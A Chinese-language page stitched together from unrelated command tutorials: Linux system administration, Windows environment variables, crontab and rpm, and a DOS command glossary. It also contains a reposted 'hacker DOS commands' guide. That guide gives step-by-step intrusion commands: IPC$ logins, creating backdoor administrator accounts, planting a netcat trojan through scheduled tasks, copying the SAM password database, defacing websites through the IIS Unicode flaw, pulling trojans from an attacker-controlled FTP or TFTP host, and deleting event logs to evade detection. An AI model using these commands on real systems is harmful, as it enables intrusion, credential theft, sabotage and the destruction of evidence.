1. 資深Linux運維工程師必須掌握的核心命令
查看CPU信息可以使用lscpu命令
從命令的輸出結果可以看得出來CPU的型號是 Intel(R) Core(TM) i9-8950HK CPU @ 2.90GHz,CPU(s)是4表示同時可以執行四個任務。
如果想要同時執行更多的任務,可以在VMware WorkStation中修改,修改完成以後會立即生效。
除了lscpu以外,還可以使用cat /proc/cpuinfo命令查看CPU信息,不過它是以每核分開顯示的。
使用free或者是cat /proc/meminfo可以查看當前系統的內存信息,包括總內存、已經使用內存以及可用內存信息
Linux和Windows不同的是Linux的圖形界面只是它的一個程序,而不是必備組件。我們之前安裝CentOS8.4選擇的Server With GUI包含GNOME桌面的圖形環境,我們可以使用init 3命令關閉圖形,CentOS8會出現一個字元登錄界面。
然後再使用free -h觀察已經使用的內存只有334M,相比圖形界面的730M 減少了接近400M內存,為了節省內存,生產環境一般不會安裝和使用圖形界面。
想要再切回圖形界面使用init 5命令即可。
還可以使用runlevel命令查看當前系統運行的模式,其中輸出結果的3表示之前是字元界面,5表示當前系統運行的是圖形界面
使用lsblk命令可以查看磁碟信息,包括有幾塊磁碟以及每塊磁碟的分區、容量信息
通過命令的執行結果可以得知目前CentOS8系統上有三塊磁碟,分別是sda,sdb,sdc,其中sdb和sdc沒有分區,
而sda磁碟是在安裝系統時創建了四個分區,具體信息如下表格所示
除此以外還可以使用 cat /proc/partitions命令查看磁碟信息,從命令的執行結果可以看出容量還是以KB為單位。
通過arch命令可以查看當前系統架構為x86_64,這也是目前主流的系統架構。
不同的Linux發行版使用的Linux內核版本不同,通過uname -r可以查看Linux系統的內核版本
通過 cat /etc/os-release 命令或者是lsb_release -a命令可以查看操作系統的版本,後期在開發程序時不同的操作系統版本需要做不同的處理。
查看Ubuntu Server的版本
查看CentOS8的版本
CentOS還可以使用 cat /etc/redhat-release版本
Linux中的時間有系統時間和硬體時間兩種
date和clock可以使用分號隔開後同時執行看系統時間和硬體時間
目前我的系統時間和硬體時間相差了18秒
如果硬體時間是准確的,那麼就通過命令clock -s以硬體時間為准,同步校正系統時間。
如果系統時間是准確的,那麼通過clock -w命令以系統時間為准,同步校正硬體時間
不同的國家在同一時刻所處的時間是不同的,因為時區不同。
例如中國就是東八區,東八區和格林威治的時區相比相差8個小時(也就是比北京時間慢了8個小時),之前在安裝操作系統的時候設置的時區就是Asia/Shanghai,,通過timedatectl status查看當前時間狀態,其中 Universal time就是格林威治時間,而Local Time就是系統設置時區(Asia/Shanghai)的時間,它們兩者剛好相差了8個小時。 Time zone: Asia/Shanghai (CST, +0800) 表示當前的時區是亞洲上海。
如果現在你去了法國巴黎,可以通過timectl set-timezone 設置時區為歐洲巴黎,當修改時區後使用date命令查看系統時間顯示的就是當前法國的巴黎時間,相比北京時間慢了6個小時。
修改時區最終影響的是 /etc/localtime文件
不過目前我在中國,因此還是改回亞洲上海
timedatectl list-timezones可以查看所有時區
cal命令可以查看當前月份的日歷,例如今天是2021年10月5號
查看指定月份的日歷
還可以查看指定年份的日歷
生產環境不能隨便關機和重啟!!! 因為伺服器基本都是 7*24 對外提供服務
測試環境或者是本地虛擬機安裝的Linux伺服器可以按需求關機或者重啟
關機可以使用halt或者poweroff命令
而shutdown可以實現關機或者重啟,shutdown -r表示重啟,即reboot,shutdown -h表示關機,即halt。 -c表示取消關機或重啟。
除此以外shutdown 還可以指定時間來關機或重啟,默認是1分鍾後執行。
關機和重啟命令的常見用法
Linux下有nano和vim等文本編輯器,目前我們先使用nano來編輯文本。
如果系統上沒有安裝nano文本編輯器,那麼在使用之前首先需要使用yum install -y nano命令來安裝nano文本編輯器
在使用nano進行文本編輯時,nano後面跟文件路徑即可打開文件,然後可以直接修改文件,類似於windows的記事本,修改完成後然後按Ctrl+x退出,接著按y保存修改,回車後退出nano。
然後使用nano /etc/motd來修改該文件,motd文件是用戶登錄之後提示的內容
然後輸入Welcome to my class
之後按Ctrl+x退出nano編輯器,按y保存到文件匯中,然後按回車鍵確認修改。
再重新登錄CentOS8.4
登錄成功之後就會看到/etc/motd文件內容顯示在終端上
我這里准備了一個motd文件,首先使用MobaXterm終端上傳到/etc目錄下覆蓋現有的motd文件,在使用MobaXterm終端登錄CentOS8.4-1後,首先將SSH Broswer的路徑切換到/etc目錄下
然後點擊上傳文件的按鈕
選擇提前准備好的motd文件上傳到/etc目錄下
然後再次重新登錄系統就會看到一個大佛
大家可以自行訪問https://www.bootschool.net/ascii-art 在線生成ASCII(圖)藝術字,然後將內容復制到motd文件即可。
當我們登錄Linux打開一個終端窗口,然後輸入命令,用戶與計算機的這種臨時交互被稱為一次會話(Session)、會話的一個重要的特點就是窗口與其中啟動的進程是連接在一起的,打開窗口則會話開始,關閉窗口則會話結束,而且會話內部的進程也會隨之而終止,不管有沒有運行完成。
這里舉一個例子,我們首先使用XShell遠程登錄CentOS8.4-1,然後使用ping 10.0.0.103命令檢測是否能夠連接10.0.0.103,也就是Ubuntu Server 20.04.3-1那台機器
命令執行的結果顯示能夠連接,而且只要你不關閉窗口會一直顯示收到數據以及耗時。
然後我們復制一個會話
然後使用ps aux|grep ping 查看ping的進程信息,因為沒有關閉會話窗口所以進程還在
當我們關閉之前開啟的會話窗口之後
再次使用ps aux|grep ping查看進程會發現ping進程不存在了
為了解決上述的問題,我們就可以將會話與窗口解綁,也就是窗口關閉時會話並不會終止,而是繼續運行,等到以後需要的時候,再讓會話綁定其他窗口。
而終端復用器程序(例如screen,tmux)就是將會話與窗口的解綁工具,將它們徹底分離。
首次運行screen時會發現Shell提示command not found
我們需要使用yum install -y screen 來安裝screen,但是執行之後發現提示錯誤:: Unable to find a match: screen
Centos8安裝screen需要使用epel來安裝,安裝epel後,再安裝screen,解決centos8無法安裝screen的問題
然後再執行yum install -y screen 便可安裝成功
Screen安裝成功
在安裝完screen後就可以使用了,首先在終端輸入screen,然後你就會看到屏幕好像是刷新了一下,本質就是一個會話
然後再次運行ping 10.0.0.103
由於開啟了screen,即使關閉了所有的會話窗口,你會發現使用ps aux |grep ping 命令查看ping命令的進程也還在。
如果後期在做運維工作,有些命令很耗時又怕誤操作關閉會話導致命令的進程關閉就可以使用screen。
screen除了創建會話,能讓命令關閉窗口後繼續在後台執行的功能以外,還能夠實現遠程桌面共享,從而實現遠程協助的功能。
實現該功能必須滿足兩個條件,兩個用戶必須使用同一個賬號登錄同一台機器。
例如這里小紅和小明同時使用root賬號登錄了CentOS8.4,其中左邊的窗口是小紅,右邊的窗口是小明
然後小紅使用screen -S help開啟一個遠程會話,會話的名稱叫help
然後小明使用screen -x help加入小紅開啟的會話
此時小明可以看到小紅窗口的內容
當小明解決小紅的問題後,可以使用ctrl a,d退出當前會話
如果小明不知道小紅的會話名稱,可以使用screen -ls獲取當前會話
echo就是用於輸出信息
echo輸出固定字元串
echo輸出變數值
echo輸出轉義字元
echo 默認可以實現換行
echo輸出信息還可以帶顏色
echo還可以清除屏幕,等價於clear命令或者是快捷鍵Ctrl+l
2. Windows系統命令行設置環境變數
Windows系統命令行設置環境變數
以下命令均需在Windows的CMD環境(即「命令提示符」軟體)中執行。
1. 使用set命令
用於設置臨時環境變數。只在當前命令行窗口中有效。
例如,設置名為CLASSPATH的環境變數,執行下面的命令,
set CLASSPATH=D:\javalibs\lib1
# 查看 CLASSPATH
$ echo %CLASSPATH%
2. 使用命令setx
用於設置用戶環境變數和系統環境變數。默認設置是本地環境,通過選項 /m 設置系統環境變數。
# 永久設置 GIT_HOME 變數為 abc
$ setx /m GIT_HOME abc
# 將 C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin 追加到 PATH 變數
$ setx -m PATH "%PATH%;C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin"
註:上面 setx 命令後面用引號可以去除空格的影響,不加引號,會出現如下錯誤:
錯誤:無效語法。默認選項不允許超過 '2' 次。
鍵入 「SETX /?」 以了解用法。
3. Linux常用基本命令(六)
1)service network status 查看指定服務的狀態
2)service network stop 停止指定服務
3)service network start 啟動指定服務
4)service network restart 重啟指定服務
5)service --status-all 查看系統中所有的後台服務
1)chkconfig 查看所有伺服器自啟配置
2)chkconfig iptables off 關掉指定服務的自動啟動
3)chkconfig iptables on 開啟指定服務的自動啟動
[root@bigdata111 ~]# service crond restart (重新啟動服務)
1)基本語法
crontab [選項]
選項:
-e: 編輯crontab定時任務
-l: 查詢crontab任務
-r: 刪除當前用戶所有的crontab任務
2)參數說明
[root@bigdata111 ~]# crontab -e
(1)進入crontab編輯界面。會打開vim編輯你的工作。
* * * * * 執行的任務
(2)特殊符號
(3)特定時間執行命令
3)案例:
*/5 * * * * /bin/echo 」11」 >> /tmp/test
*/1 * * * * /bin/echo 」11」 >> /opt/TZ/ITSTAR
RPM包的名稱格式
Apache-1.3.23-11.i386.rpm
- 「apache」 軟體名稱
- 「1.3.23-11」軟體的版本號,主版本和此版本
- 「i386」是軟體所運行的硬體平台
- 「rpm」文件擴展名,代表RPM包
1)基本語法:
rpm -qa (功能描述:查詢所安裝的所有rpm軟體包)
過濾
rpm -qa | grep rpm軟體包
2)案例
[root@bigdata111 Packages]# rpm -qa |grep firefox
firefox-45.0.1-1.el6.centos.x86_64
1)基本語法:
(1)rpm -e RPM軟體包
或者(2) rpm -e --nodeps 軟體包
--nodeps 如果該RPM包的安裝依賴其它包,即使其它包沒裝,也強迫安裝。
2)案例
[root@bigdata111 Packages]# rpm -e firefox
1)基本語法:
rpm -ivh RPM包全名
-i=install,安裝
-v=verbose,顯示詳細信息
-h=hash,進度條
--nodeps,不檢測依賴進度
2)案例
[root@bigdata111 Packages]# pwd
/media/CentOS_6.8_Final/Packages
[root@bigdata111 Packages]# rpm -ivh firefox-45.0.1-1.el6.centos.x86_64.rpm
warning: firefox-45.0.1-1.el6.centos.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing... ########################################### [100%]
1:firefox ########################################### [100%]
4. CMD里怎麼顯示文件名的一段
用echo。寫給你看看。@echo off (表示隱藏命令)echo KB944338 (顯示字元「KB944338")start WindowsXP-KB944338-v2-x86-CHS.exe (執行 」 WindowsXP-KB944338-v2-x86-CHS.exe 「)
5. 誰有DOS命令的解釋哦.
ATTRIB 文件屬性(顯示或改變屬性)
CHDIR(CD) 改變目錄
CHKDSK 檢查磁碟
CHOICE 提示擊鍵輸入
CLS 清屏幕
COMMAND 重新載入MS-DOS程序
COPY 復制文件
DATE 設置顯示日期
DEBUG 調試程序
DEFRAG 清除磁碟碎片
DEL(ERASE) 刪除文件
DELOLDOS 刪除舊DOS文件
DELTREE 刪除目錄樹分支
DIR 顯示目錄
DISKCOMP 比較軟盤內容
DISKCOPY 復制磁碟
DOS 擴展擴充內存管理
DOSSHELL DOS外層
DRIVPARM 定義驅動器參數
EDIT 編輯器
EMM386 內存管理
ERASE 刪除文件
DBLSPACE 磁碟壓縮
EXPAND 釋放壓縮
FASTHELP 快速求助
FC 文件比較
FDISK 磁碟分區
FIND 搜尋指定字串
FOR 循環執行命令
FORMAT 格式化磁碟
MEM 內存使用情況顯示
MKDIR(MD) 建立子目錄
MSAV 檢查和清除病毒
MSBACKUP 磁碟文件務份
PATH 設置搜索路徑
PAUSE 暫停執行命令
RESTORE 磁碟文件轉儲
RENAME(REN) 文件重新命名
RMDIR(RD) 刪除目錄
SCANDISK 檢查磁碟
SYS 傳送系統文件
TIME 設置顯示時間
TREE 顯示目錄結構
TYPE 顯示文件內容
UNDELETE 恢復被刪除文件
VER 顯示系統版本號
VOL 顯示卷標
VSAFE 病毒檢查
XCOPY 復制組文件
APPEND 補充路徑
BREAK 檢查控制中斷
BUFFERS 設置磁碟緩沖區數
CALL 調用批文件
CHCP 轉換碼頁
COUNTRY 確定國家標准貨幣
CTTY 改變控制台
DEVICE 安裝設備驅動程序
DEVICEHIGH 裝載設備驅動程序
ECHO 命令顯示開關
FASTOPEN 快速載入文件
FCBS 使用文件控制塊
FILES 同時打開文件數
GOTO 轉向分支
GRAPHICS 圖形屏幕列印
HELP 求助
IF 設定條件
INCLUDE 簡化多重配置塊
INSTALL 安裝常駐程序
INTERLNK 計算機互連
INTERSVR 與伺服器互連
KEYB 裝載字元轉換表
LABEL 卷標
LASTDRIVE 置最大驅動器數
LOADFIX 裝入固定內存
LOADHIGH(LH) 高內存程序裝載
MEMMAKER 檢查內存
MENUCOLOR 設置顯示選項
MODE 設置硬體工作方式
MSCDEX 訪問CD驅動器
MSO 檢查系統配置
NLSFUNC 支持各國語言
NUMLOCK 控制NUMLOCK鍵
POWER 節省電能
PRINT 後台列印
PROMPT 改變系統提示
QBASIC 啟動QB
REM 注釋信息
REPLACE 替換文件
SET 設置環境變數
SETUP 安裝DOS6。2文件
SETVER 改變DOS版本表
SHARE 網路文件共享
SHELL 裝載命令處理程序
SMARTDRV 磁碟緩沖
SORT 文件排序
STACKS 支持動態使用的數據線
SUBMENU 菜單項(配置CONFIG。SYS)
SUBST 設置虛擬驅動器
SWITCHES 鍵盤開關
VRIFY 磁碟檢驗
》:建立子目錄命令 MD (內部命令)
功能:在指定盤的指定目錄下建立一個子目錄
格式:MD [盤符][路徑]子目錄名
注意:1。不能建立根目錄與目標目錄下已經存在的目錄
2。預設路徑時則表示在當前目錄下建立
2》:改變當前目錄目錄命令: CD (內部命令)
功能:設置指定盤的當前目錄
格式:CD [盤符][路徑]
注意:CD 表示顯示當前目錄
CD..表示退回到根目錄
CD/ 表示退回到上一級目錄
3》:刪除子目錄命令:RD (內部命令)
功能: 從指定的盤符上刪除子目錄
格式: CD [盤符][路徑]子目錄名
注意:1。要刪除的目錄必須為空目錄,如果不為空目錄,先來到該目錄,用 DEL *.*刪除該目錄下的所有內容
再回到上一級目錄,用RD命令刪除該目錄
2。不能刪除當前目錄與根目錄
4》:列文件目錄命令:DIR (內部命令)
功能:顯示指定盤、指定目錄下所包含的文件與下一級子目錄的有關信息
格式:DIR [盤符][路徑][文件名][/P][/W]
[/P]表示分屏顯示
[/W]表示壓縮顯示
5》:顯示全盤目錄命令:TREE (外部命令)
功能:顯示指定盤的目錄結構
格式:[盤符][路徑]TREE [盤符1][/F]
[/F]表示列出各級子目錄的文件名
6》:設置查找目標命令PATH (內部命令)
功能:設置外部文件的查找目錄
格式: PATH [盤符][路徑][;盤符][路徑]……
注意:1。顯示上次PATH命令設置的查找文件目錄命令用:
PATH
2。刪除上次PATH命令設置的文件查找目錄用:
PATH;
7》:刪除目錄命令:DELTREE
功能:將整個目錄及其子目錄和文件全部刪除
格式:DELLTREE [盤符][路徑]目標文件
注意:全部刪除、不論是否系統、隱藏、還是只讀
黑客常用dos命令(轉)
一般黑客入侵所需要的幾個常用命令
1:NET
只要你擁有某IP的用戶名和密碼,那就用IPC$做連接吧!
這里我們假如你得到的用戶是hbx,密碼是123456。假設對方IP為127.0.0.1
net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
退出的命令是
net use \\127.0.0.1\ipc$ /delte
下面的操作你必須登陸後才可以用.登陸的方法就在上面.
----------------------
下面我們講怎麼創建一個用戶,由於SA的許可權相當於系統的超級用戶.
我們加一個hei的用戶密碼為lovechina
net user hei lovechina /add
只要顯示命令成功,那麼我們可以把他加入Administrator組了.
net localgroup Administrators hei /add
----------------------
這里是講映射對方的C盤,當然其他盤也可以,只要存在就行了.我們這里把對方的C盤映射到本地的Z盤.
net use z:\\127.0.0.1\c$
----------------------
net start telnet
這樣可以打開對方的TELNET服務.
----------------------
這里是將Guest用戶激活,guest是NT的默認用戶,而且無法刪除呢?不知道是否這樣,我的2000就是刪除不了它。
net user guest /active:yes
----------------------
這里是把一個用戶的密碼改掉,我們把guest的密碼改為lovechina,其他用戶也可以的。只要有許可權就行了呀!
net user guest lovechina
net命令果然強大啊!
2:at
一般一個入侵者入侵後都會留下後門,也就是種木馬了,你把木馬傳了上去,怎麼啟動他呢?
那麼需要用AT命令,這里假設你已經登陸了那個伺服器。
你首先要得到對方的時間,
net time \\127.0.0.1
將會返回一個時間,這里假設時間為12:1,現在需要新建一個作業,其ID=1
at \\127.0.0.1 12:3 nc.exe
這里假設了一個木馬,名為NC.EXE,這個東西要在對方伺服器上.
這里介紹一下NC,NC是NETCAT的簡稱,為了方便輸入,一般會被改名.它是一個TELNET服務,埠為99.
等到了12:3就可以連接到對方的99埠.這樣就給對方種下了木馬.
3:telnet
這個命令非常實用,它可以與遠方做連接,不過正常下需要密碼、用戶,不過你給對方種了木馬,直接連到這個木馬打開的埠.
telnet 127.0.0.1 99
這樣就可以連到對方的99埠.那你就可以在對方運行命令了,這個也就是肉雞.
4:FTP
它可以將你的東西傳到對方機子上,你可以去申請個支持FTP上傳的空間,國內多的是,如果真的找不到,我給個www.51.NET,不錯的.當我們申請完後,它會給用戶名,密碼,以及FTP伺服器.
在上傳前需要登陸先,這里我們假設FTP伺服器是www.51.NET,用戶名是HUCJS,密碼是654321
ftp www.51.net
他會要求輸入用戶,成功後會要求輸入密碼.
----------------------
下面先說上傳,假設你需上傳的文件是INDEX.HTM,它位於C:\下,傳到對方D:\
get c:\index.htm d:\
假設你要把對方C盤下的INDEX.HTM,下到你的機子的D盤下
put c:\index.htm d:\
5:
下面我說說怎樣把本地的文件復制到對方硬碟上去,需要建立好IPC$連接才有效。
這里我們把本地C盤下的index.htm復制到127.0.0.1的C盤下
index.htm \\127.0.0.1\c$\index.htm
----------------------
如果你要復制到D盤下把C改為D,就行了!
index.htm \\127.0.0.1\d$\index.htm
----------------------
如果你要把他復制到WINNT目錄里
就要把輸入
index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
----------------------
要把對方的文件復制過來,順便告訴大家NT的備份的資料庫放在x:\winnt\repair\sam._ sam._是資料庫的文件名
下面就把127.0.0.1的資料庫復制到本地C盤下
\\127.0.0.1\admin$\repair\sam._ c:\
----------------------
6:set
如果你跑進了一部機子,而且想黑他(這思想只能在特別時候才准有),當然他的80埠要開,不然你黑給誰看。這時需要用SET命令!
下面是我得到的結果!我來分析它,只是找主頁在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=當前登陸者的IP,這里本來是顯示我的IP,被我刪除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主頁放在的地址,只要你看到PATH_TRANSLATED=的後面就是主頁的存放地址。這里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0對方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
粉紅色的那行就是對方主頁存放地址,這里告訴大家一個技巧,很笨的技巧啊,不過只能用這個方法才能100%的找到主頁的名稱,當你DIR這個目錄時,一定會看到很多文件,你可以把所有文件在瀏覽器這樣輸入XX.XX.XX.XX/文件名,這樣只要看到和XX.XX.XX.XX看到的也面一模一樣,那麼這就是主頁的名稱了。
7:nbtstat
如果你掃到一部NT的機子,他的136到139其中一個埠開了的話,就要用這個命令得到用戶了。順便告訴大家這是netbios,得到用戶名後就可以猜猜密碼了。例如比較簡單的密碼,密碼和用戶名一樣的,都試下,不行就暴力破解吧!
現在網上很多NT的機子都開了這些埠的,你可以練習下,我們來分析得到的結果。
命令是
nbtstat -A XX.XX.XX.XX
-A一定要大寫哦。
下面是得到的結果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉紅色的就是登陸過這部系統的用戶,可能你不知道怎麼看,大家是不是看到了一竄數字,只要這竄數字是<03>的話,那他前面的就是用戶。
這里的用戶是PENTIUMII。
8:Shutdown
關了對方的NT伺服器的命令
Shutdown \\IP地址 t:20
20秒後將NT自動關閉,三思後才能運行這個命令,這樣對對方造很大的損失,要做個有良心的入侵者呀。
9:DIR
這個命令沒什麼好講,但是卻非常重要,他是查看一目錄里的所有文件、文件夾。
你可以本地試下。
10:echo
著名的漏洞Unicode,這個命令可以簡單的黑一下有這個漏洞的主機。
我們假設我們要把「反獨裁,反一黨制!」寫入index.htm,有2種方法,大家看看有什麼區別。
echo 反獨裁,反一黨制!>index.htm
echo 反獨裁,反一黨制!>>index.htm
第一個的意思是覆蓋index.htm原有的內容,把「反獨裁,反一黨制!」寫進index.htm。
第二個的意思是把「反獨裁,反一黨制!」加到index.htm裡面。
「>>」產生的內容將追加進文件中,「>」則將原文件內容覆蓋。
大家可以本地試下。
可能你會問,這樣簡單黑下有什麼好玩的,其實他可以用來下載主頁到對方的目錄里。
1、首先,我們需要申請一個免費的主頁空間。
2、用echo在可寫目錄下建立如下內容的txt文件:(以chinren伺服器為例。)
open upload.chinaren.com(你的FTP伺服器,申請時你的空間提供商會給你的)
cnhack(你申請時的用戶名)
test(你申請時的密碼)
get index.htm c:\inetpub\wwwroot\index.htm(這里是把你空間上的index.htm下載到對方的c:\inetpub\wwwroot\index.htm)
bye(退出FTP對話,相當在98下的DOS,用EXIT退出DOS)
具體的做法:
輸入 echo open upload.chinaren.com> c:\cnhack.txt
輸入 echo cnhack >> c:\cnhack.txt
輸入 echo 39abs >> c:\cnhack.txt
輸入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最後輸入 ftp -s:c:\cnhack.txt (利用ftp的-s參數,執行文件里的內容。)
等命令完成時,文件已經下載到你指定的文件里了。
注意:取得文件後,請刪除cnhack.txt。(如果不刪除,很容易會給別人看到你的密碼。)
記得要 del c:\cnhack.txt
11:attrib
這個命令是設置文件屬性的。如果你想黑一個站,而他的主頁的文件屬性設置了只讀,那就很可憐呀,想刪除他也不行,想覆蓋他也不行。倒!不過有這個命令就別怕了。
attrib -r index.htm
這個命令是把index.htm的只讀屬性去掉。
如果把「-」改為「+」則是把這個文件的屬性設置為只讀
----------------------
attrib +r index.htm
這個命令是把index.htm的屬性設置為只讀。
12:del
當你看到這個標題可別倒下啊!現在要離開127.0.0.1了,要刪除日誌,當然要刪除日誌啦!想被捉嗎。呵呵。
NT的日誌有這些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
只要刪除這些就可以了。有些系統NT安裝在D盤或其他盤,就要把C改成其他盤。
黑客常用dos命令2
建立一個空連接
命令:net use \\192.168.0.198\ipc$ "" /user:"administrator"
查看遠程主機的共享資源
命令:net view \\ip
查看遠程主機的當前時間
命令: net time \\ip
得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)
命令:nbtstat -A ip
刪除連接:
net use \\127.0.0.1\ipc$ /del
映射/刪除遠程共享:
net use z: \\127.0.0.1\c
向遠程主機復制文件:
路徑\文件名 \\IP\共享目錄名,如:
d:\3389.exe \\IP\c$ 即將d盤下的3389.exe復制到對方c盤內
把遠程主機上的文件復制到自己的機器里:
\\127.0.0.1\c$\xinxin.exe c:\
遠程添加計劃任務:
at \\IP 時間 程序名 如:
at \\IP 11:00 3389.exe
1)查看本地主機的共享資源(可以看到本地的默認共享)
net share
2)得到本地主機的用戶列表
net user
3)顯示本地某用戶的帳戶信息
net user 帳戶名
4)顯示本地主機當前啟動的服務
net start
5)啟動/關閉本地服務
net start 服務名
net stop 服務名
6)在本地添加帳戶
net user 帳戶名 密碼 /add
7)激活禁用的用戶
net uesr 帳戶名 /active:yes
8)加入管理員組
net localgroup administrators xuliguo /add
tftp -i 你的IP get **.exe c:\winnt\system32\**.exe
m溢出的對方SHELL後在DOS下上傳木馬
tftp -i 自已的IP get ***.exe
time
at \\對方的IP 時間 ***.exe
DOS命令大全
一)MD——建立子目錄
1.功能:創建新的子目錄
2.類型:內部命令
3.格式:MD[盤符:][路徑名]〈子目錄名〉
4.使用說明:
(1)「盤符」:指定要建立子目錄的磁碟驅動器字母,若省略,則為當前驅動器;
(2)「路徑名」:要建立的子目錄的上級目錄名,若預設則建在當前目錄下。
例:(1)在C盤的根目錄下創建名為FOX的子目錄;(2)在FOX子目錄下再創建USER子目錄。
C:、>MD FOX (在當前驅動器C盤下創建子目錄FOX)
C:、>MD FOX 、USER (在FOX 子目錄下再創建USER子目錄)
(二)CD——改變當前目錄
1.功能:顯示當前目錄
2.類型:內部命令
3.格式:CD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)如果省略路徑和子目錄名則顯示當前目錄;
(2)如採用「CD、」格式,則退回到根目錄;
(3)如採用「CD.。」格式則退回到上一級目錄。
例:(1)進入到USER子目錄;(2)從USER子目錄退回到子目錄;(3)返回到根目錄。
C:、>CD FOX 、USER(進入FOX子目錄下的USER子目錄)
C:、FOX、USER>CD.。 (退回上一級根目錄)
C:、FOX>CD、 (返回到根目錄)
C:、>
(三)RD——刪除子目錄命令
1.功能:從指定的磁碟刪除了目錄。
2.類型:內部命令
3.格式:RD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)子目錄在刪除前必須是空的,也就是說需要先進入該子目錄,使用DEL(刪除文件的命令)將其子目錄下的文件刪空,然後再退回到上一級目錄,用RD命令刪除該了目錄本身;
(2)不能刪除根目錄和當前目錄。
例:要求把C盤FOX子目錄下的USER子目錄刪除,操作如下:
第一步:先將USER子目錄下的文件刪空;
C、>DEL C:、FOX、USER、*。*
第二步,刪除USER子目錄。
C、>RD C:、FOX、USER
(四)DIR——顯示磁碟目錄命令
1.功能:顯示磁碟目錄的內容。
2.類型:內部命令
3.格式:DIR [盤符][路徑][/P][/W]
4.
使用說明:/P的使用;當欲查看的目錄太多,無法在一屏顯示完屏幕會一直往上卷,不容易看清,加上/P參數後,屏幕上會分面一次顯示23行的文件信息,然後暫停,並提示;Press
any key to continue
/W的使用:加上/W只顯示文件名,至於文件大小及建立的日期和時間則都省略。加上參數後,每行可以顯示五個文件名。
PATH——路徑設置命令
1.功能:設備可執行文件的搜索路徑,只對文件有效。
2.類型:內部命令
3.格式:PATH[盤符1]目錄[路徑名1]{[;盤符2:],〈目錄路徑名2〉…}
4.使用說明:
(1)當運行一個可執行文件時,DOS會先在當前目錄中搜索該文件,若找到則運行之;若找不到該文件,則根據PATH命令所設置的路徑,順序逐條地到目錄中搜索該文件;
(2)PATH命令中的路徑,若有兩條以上,各路徑之間以一個分號「;」隔開;
(3)PATH命令有三種使用方法:
PATH[盤符1:][路徑1][盤符2:][路徑2]…(設定可執行文件的搜索路徑) PATH:(取消所有路徑)
PATH:(顯示目前所設的路徑)
(六)TREE——顯示磁碟目錄結構命令
1.功能:顯示指定驅動器上所有目錄路徑和這些目錄下的所有文件名。
2.類型:外部命令
3.格式:TREE[盤符:][/F][》PRN]
4.使用說明:
(1)使用/F參數時顯示所有目錄及目錄下的所有文件,省略時,只顯示目錄,不顯示目錄下的文件;
(2)選用>PRN參數時,則把所列目錄及目錄中的文件名列印輸出。
(七)DELTREE——刪除整個目錄命令
1.功能:將整個目錄及其下屬子目錄和文件刪除。
2.類型:外部命令
3.格式:DELTREE[盤符:]〈路徑名〉
4.使用說明:該命令可以一步就將目錄及其下的所有文件、子目錄、更下層的子目錄一並刪除,而且不管文件的屬性為隱藏、系統或只讀,只要該文件位於刪除的目錄之下,DELTREE都一視同仁,照刪不誤。使用時務必小心!!!
五、磁碟操作類命令
(一)formAT——磁碟格式化命令
1.功能:對磁碟進行格式化,劃分磁軌和扇區;同時檢查出整個磁碟上有無帶缺陷的磁軌,對壞道加註標記;建立目錄區和文件分配表,使磁碟作好接收DOS的准備。
2.類型:外部命令
3.格式:formAT〈盤符:〉[/S][/4][/Q]
4.使用說明:
(1)命令後的盤符不可預設,若對硬碟進行格式化,則會如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST !
Proceed with format (Y/N)?
(警告:所有數據在C盤上,將會丟失,確實要繼續格式化嗎?)
(2)若是對軟盤進行格式化,則會如下提示:Insert mew diskette for drive A;
and press ENTER when ready…
(在A驅中插入新盤,准備好後按回車鍵)。
(3)選用[/S]參數,將把DOS系統文件IO.SYS
、MSDOS.SYS及COMMAND.COM復制到磁碟上,使該磁碟可以做為DOS啟動盤。若不選用/S參數,則格式化後的磙盤只能讀寫信息,而不能做為啟動盤;
(4)選用[/4]參數,在1.2MB的高密度軟碟機中格式化360KB的低密度盤;
